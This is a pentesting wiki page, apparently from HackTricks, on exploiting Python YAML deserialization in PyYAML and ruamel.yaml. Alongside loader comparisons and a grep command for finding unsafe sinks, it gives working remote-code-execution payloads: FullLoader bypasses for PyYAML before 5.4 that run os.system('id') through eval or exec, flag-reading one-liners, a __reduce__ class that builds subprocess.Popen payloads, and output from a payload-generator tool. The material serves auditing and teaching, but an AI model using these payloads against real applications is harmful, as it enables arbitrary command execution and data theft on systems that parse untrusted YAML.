python-yaml-deserialization.md (8995B)
1 --- 2 title: "Python YAML Deserialization" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/python-yaml-deserialization.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/python-yaml-deserialization.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Python YAML Deserialization 14 15 ## YAML Deserialization 16 17 Python **YAML** libraries can **serialize Python objects**, not just raw data structures. That is the dangerous part: when the loader is allowed to resolve Python-specific tags, parsing attacker-controlled YAML becomes very close to calling `pickle.load()`. 18 19 For generic parser-confusion bugs and non-Python YAML issues, also check [JSON, XML & Yaml Hacking](/hacktricks/pentesting-web/json-xml-yaml-hacking). 20 21 ```text 22 print(yaml.dump(str("lol"))) 23 lol 24 ... 25 26 print(yaml.dump(tuple("lol"))) 27 !!python/tuple 28 - l 29 - o 30 - l 31 32 print(yaml.dump(range(1,10))) 33 !!python/object/apply:builtins.range 34 - 1 35 - 10 36 - 1 37 ``` 38 39 Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).<sup>[[1]](#references)[[2]](#references)</sup> 40 41  42 43 ### Loader behaviour quick reference 44 45 | API | Behaviour | Offensive note | 46 | --- | --- | --- | 47 | `yaml.safe_load()` / `SafeLoader` | Only standard YAML types by default | Still review app-defined custom constructors/tags | 48 | `yaml.full_load()` / `FullLoader` | Rejects Python object tags in modern PyYAML | **PyYAML < 5.4** had `FullLoader` bypasses | 49 | `yaml.unsafe_load()` / `UnsafeLoader` / `Loader` | Reconstructs Python objects/functions | Treat it as an RCE sink | 50 51 Class object deserialization example: 52 53 ```python 54 import yaml 55 56 data = '!!python/object/apply:builtins.range [1, 10, 1]' 57 58 print(yaml.safe_load(data)) # ConstructorError 59 print(yaml.full_load(data)) # ConstructorError in modern PyYAML 60 print(yaml.unsafe_load(data)) # range(1, 10) 61 ``` 62 63 In current PyYAML, **`unsafe_load()`** is the intended API for reconstructing arbitrary Python-specific tags. `safe_load()` rejects them, and PyYAML **5.4** moved the remaining arbitrary Python tags out of `FullLoader`, closing the known `python/object/new` bypass represented below.<sup>[[4]](#references)[[5]](#references)</sup> 64 65 ### Basic Exploit 66 67 Example on how to **execute a sleep** when the target uses an unsafe loader: 68 69 ```python 70 import yaml 71 72 payload = '!!python/object/apply:time.sleep [2]' 73 yaml.unsafe_load(payload) # Executed 74 ``` 75 76 If you need a blind/OOB check instead of a delay, swap the gadget for something that makes a network request, e.g. `urllib.request.urlopen`, or use `subprocess`/`os.system` if command execution is easier to observe. 77 78 ### PyYAML < 5.4: `FullLoader` / implicit `.load()` bypasses 79 80 The dangerous historical detail is that **`FullLoader` was not actually safe in PyYAML 5.1 to 5.3.1**. PyYAML removed `!!python/object/apply` from `FullLoader`, but researchers quickly showed that `!!python/object/new` was still enough to get code execution.<sup>[[3]](#references)</sup> 81 82 So, when auditing old environments, vendored dependencies, appliances, or Docker images pinned to **PyYAML < 5.4**, treat **both** of these as suspicious: 83 84 - `yaml.load(data)` in code written before explicit loaders were enforced 85 - `yaml.load(data, Loader=yaml.FullLoader)` 86 87 Example `FullLoader` bypass payloads: 88 89 ```yaml 90 !!python/object/new:tuple 91 - !!python/object/new:map 92 - !!python/name:eval 93 - ["__import__('os').system('id')"] 94 ``` 95 96 ```yaml 97 !!python/object/new:type 98 args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] 99 listitems: "__import__('os').system('id')" 100 ``` 101 102 Another classic variant is: 103 104 ```yaml 105 !!python/object/new:str 106 state: !!python/tuple 107 - 'print(getattr(open("flag\x2etxt"), "read")())' 108 - !!python/object/new:Warning 109 state: 110 update: !!python/name:exec 111 ``` 112 113 Or this **one-liner provided by @ishaack**: 114 115 ```yaml 116 !!python/object/new:str { 117 state: 118 !!python/tuple [ 119 'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', 120 !!python/object/new:Warning { state: { update: !!python/name:exec } }, 121 ], 122 } 123 ``` 124 125 PyYAML **5.4** moved arbitrary Python tags to **`UnsafeLoader`** and modern releases also require an explicit `Loader` argument for `yaml.load()`. However, this bug class still appears in real projects when old PyYAML versions remain installed or a project explicitly keeps using `FullLoader` on untrusted YAML. 126 127 ### `safe_load()` can still become a sink with custom constructors 128 129 `safe_load()` only protects you from **PyYAML's built-in Python tags**. It does **not** protect you from **application-defined tags** registered on `SafeLoader`. 130 131 During code review, grep for: 132 133 - `yaml.add_constructor(...)` 134 - `yaml.add_multi_constructor(...)` 135 - subclasses of `yaml.YAMLObject` 136 - `yaml_loader = yaml.SafeLoader` 137 138 If the application registers tags like `!ENV`, `!include`, `!func`, or `!cmd`, attacker-controlled YAML may still reach **file reads**, **module imports**, **callable resolution**, or **OS command execution** through the custom constructor logic. 139 140 ```python 141 import os 142 import yaml 143 144 def cmd(loader, node): 145 return os.popen(loader.construct_scalar(node)).read() 146 147 yaml.SafeLoader.add_constructor('!cmd', cmd) 148 print(yaml.safe_load('result: !cmd "id"')) 149 ``` 150 151 That is no longer a generic PyYAML bug; it is now an **application gadget**. From an attacker's perspective, it is still a YAML deserialization sink. 152 153 ### Hunting sinks in real codebases 154 155 ```bash 156 rg -n "yaml\.(load|full_load|unsafe_load)|Loader=yaml\.(Loader|UnsafeLoader|FullLoader)|add_(multi_)?constructor|yaml_loader\s*=\s*yaml\.SafeLoader|YAML\(typ=['\"]unsafe['\"]\)" . 157 ``` 158 159 Also review wrappers and helper functions: a project may expose a YAML import or configuration feature that ultimately selects an unsafe loader, or it may remain exploitable because an appliance or vendored environment pins an old PyYAML release. 160 161 ## RCE 162 163 Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization. 164 165 ```python 166 import yaml 167 import subprocess 168 169 class Payload(object): 170 def __reduce__(self): 171 return (subprocess.Popen, ('ls',)) 172 173 deserialized_data = yaml.dump(Payload()) # serializing data 174 print(deserialized_data) 175 176 # !!python/object/apply:subprocess.Popen 177 # - ls 178 179 print(yaml.unsafe_load(deserialized_data)) 180 ``` 181 182 ### `ruamel.yaml` 183 184 The same review mindset applies to **`ruamel.yaml`**. If you find `YAML(typ='unsafe')`, treat it as the equivalent of an unsafe PyYAML loader. Current `ruamel.yaml` documentation deprecates `typ='unsafe'` and recommends `typ='full'` for dumping registered Python classes; loading should use the safe default unless the application deliberately registers constructors.<sup>[[6]](#references)</sup> 185 186 ### Tool to create Payloads 187 188 The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:** 189 190 ```bash 191 python3 peas.py 192 Enter RCE command :cat /root/flag.txt 193 Enter operating system of target [linux/windows] . Default is linux :linux 194 Want to base64 encode payload ? [N/y] : 195 Enter File location and name to save :/tmp/example 196 Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All 197 Done Saving file !!!! 198 199 cat /tmp/example_jspick 200 {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]} 201 202 cat /tmp/example_pick | base64 -w0 203 gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg== 204 205 cat /tmp/example_yaml 206 !!python/object/apply:subprocess.Popen 207 - !!python/tuple 208 - cat 209 - /root/flag.txt 210 ``` 211 212 ## References 213 214 - [1] [YAML Deserialization Attack in Python (Exploit-DB)](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf) 215 - [2] [YAML Deserialization Attack in Python (Net-Square)](https://net-square.com/yaml-deserialization-attack-in-python.html) 216 - [3] [Showcasing the Importance of Secure Defaults with a PyYAML 0day](https://blog.ankursundara.com/pyyaml-cve/) 217 - [4] [PyYAML Documentation](https://pyyaml.org/wiki/PyYAMLDocumentation) 218 - [5] [PyYAML 5.4.1 changelog - fix for CVE-2020-14343](https://github.com/yaml/pyyaml/blob/5.4.1/CHANGES) 219 - [6] [ruamel.yaml project documentation](https://yaml.dev/doc/ruamel.yaml/)